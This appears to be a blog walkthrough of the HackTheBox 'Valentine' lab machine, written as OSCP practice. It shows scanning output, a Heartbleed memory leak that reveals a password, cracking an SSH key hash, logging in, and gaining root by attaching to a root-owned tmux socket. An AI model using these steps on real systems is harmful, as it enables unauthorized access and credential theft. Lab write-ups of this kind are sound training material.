HackTheBox | Valentine

In this walkthrough, I demonstrate how I obtained complete ownership of Valentine on HackTheBox
HackTheBox | Valentine
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.93 scan initiated Sat Apr  8 00:43:54 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 964c51423cba2249204d3eec90ccfd0e (DSA)
|   2048 46bf1fcc924f1da042b3d216a8583133 (RSA)
|_  256 e62b2519cb7e54cb0ab9ac1698c67da9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2023-04-08T04:44:27+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
1   13.56 ms
2   13.64 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr  8 00:44:27 2023 -- 1 IP address (1 host up) scanned in 33.73 seconds

Service Enumeration


In the nmap output for TCP/443, the certificate has a CN of valentine.htb. I tested it as a virtual host, but there doesn't seem to be any noticeable difference when navigating using a hostname.

Gobuster Enumeration

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -r -t 100 -o gobuster.txt

/index.php            (Status: 200) [Size: 38]
/index                (Status: 200) [Size: 38]
/dev                  (Status: 200) [Size: 1097]
/encode               (Status: 200) [Size: 554]
/encode.php           (Status: 200) [Size: 554]
/decode.php           (Status: 200) [Size: 552]
/decode               (Status: 200) [Size: 552]
/omg                  (Status: 200) [Size: 153356]


To do item three and four are pretty interesting, sounds like encoding/decoding might be occurring server-side at this point.

Looks like hex-encoded byte array, if I had to guess
Nice! We got a password-protected SSH key...
Generate a hash of the SSH key encryption headers
Unfortunately, no luck cracking the hash

I'm going to hang onto this hash and enumerate some more.

/encode, /decode

Upon first glance at the directory structure and the server responses, it looks like there are scripts at:


What's really happening here is that the server is redirecting the client based on the directory. So, any file name under /decoder redirects to /decoder/decoder.php, and vice-versa for the /encoder directory.

I tried some different PHP payloads to see how the server parses the inputs, but it doesn't seem vulnerable to any kind of command injection or file inclusion at the moment. Time to enumerate some more.



More Enumeration

TCP/443 looks to be serving the same content as TCP/80. I re-ran a nmap scan on the open ports to enumerate some more.

sudo nmap -Pn -p80,443,22 --min-rate 10000 --script vuln

Nmap Vulnerability Scan

This bit from the output stuck out to me:

443/tcp open  https
| ssl-heartbleed: 
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt 
|_      http://cvedetails.com/cve/2014-0160/

Testing Heartbleed

Looking at the omg.jpg image during the initial enumeration, it's very clear that I should be focusing on the Heartbleed SSL/TLS vulnerability.

Heartbleed isn't a vulnerability in the web server itself. It's actually happening at the transport layer, where the server and client complete a handshake before sending data at the application layer.

This is a really nice write-up on the vulnerability here:

How to Exploit the Heartbleed Bug
First we explained how it worked, and now, thanks to Jared Stafford (and stbnps on Github for explanations) we can show you how to exploit it. Heartbleed is a s...

In short what's happening with this exploit is:

  • We tell the server that we've sent <num_bytes> of data
  • The server doesn't verify and processes the request
  • Since the request is empty, nothing is processed in the memory of the server application
  • Thus, when the server replies, the server returns data from memory that it otherwise shouldn't be reading
  • Since the web server is the application running the OpenSSL stack, it's possible that sensitive information could be leaked from memory on the server

There are also some Heartbleed exploits on Exploit Database.

searchsploit -m 32764

Copy the exploit to your current directory

Takes a single argument of <server> and an optional port

This bit is very interesting:

  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D B6  mV0aGVoeXBlCg==.

That's very clearly a base64-encoded payload being send to the decode.php script on the server. It seems like we're getting some log data back in the Heartbleed response. Let's try and decode the data.

echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d

Decode the base64-encoded data

Looks like a potential password, could be SSH key password

Cracking the SSH Hash

echo 'heartbleedbelievethehype' > pass.txt
john --wordlist=pass.txt ssh-hash

The only problem here is we have a key, but don't have a username. We could try root or hype — since the filename on the web server is hype_key, but outside of that, we'd have to bruteforce with a username list.

I get an error when trying to SSH with the key: sign_and_send_pubkey.... I imagine it has something to do with the age of the box and outdated SSH ciphers. Time to Google for a workaround.

Looks like we can tack on an option with the SSH command:

ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ./ssh-key hype@

Allow SSH-RSA key type

And, we're in!


A server vulnerable to the Heartbleed vulnerability leaked a password — which in combination with a SSH private key file — allows an attacker to authenticate to the SSH server running on the target.

At a minimum, Heartbleed is the vulnerability in need of most urgent patching. Beyond that, developers should ensure that sensitive folders are not globally readable, let alone storing SSH keys in web directories anyway.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

Sorry, user hype may not run sudo on Valentine.

Users and Groups

Local Users


Local Groups


Network Configurations


eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:50:56:b9:db:34 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
    inet6 dead:beef::2932:bdef:12e3:8847/64 scope global temporary dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 dead:beef::250:56ff:feb9:db34/64 scope global dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:feb9:db34/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 *               LISTEN      -

Processes and Services

Interesting Processes

root       1022  0.0  0.1  26416  1684 ?        Ss   09:30   0:06 /usr/bin/tmux -S /.devs/dev_sess

Interesting Files


srw-rw---- 1 root hype 0 Apr 10 09:30 /.devs/dev_sess

Privilege Escalation

Looking at the enumeration of the running processes, the tmux session running as root under /.devs/dev_sess was clearly a clue.

root       1022  0.0  0.1  26416  1684 ?        Ss   09:30   0:06 /usr/bin/tmux -S /.devs/dev_sess

The command line of the processes is clear as day here

So, I ran the exact same command in my hype session, since I clearly had rw privileges to that session file.

Nice! We're done here.





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.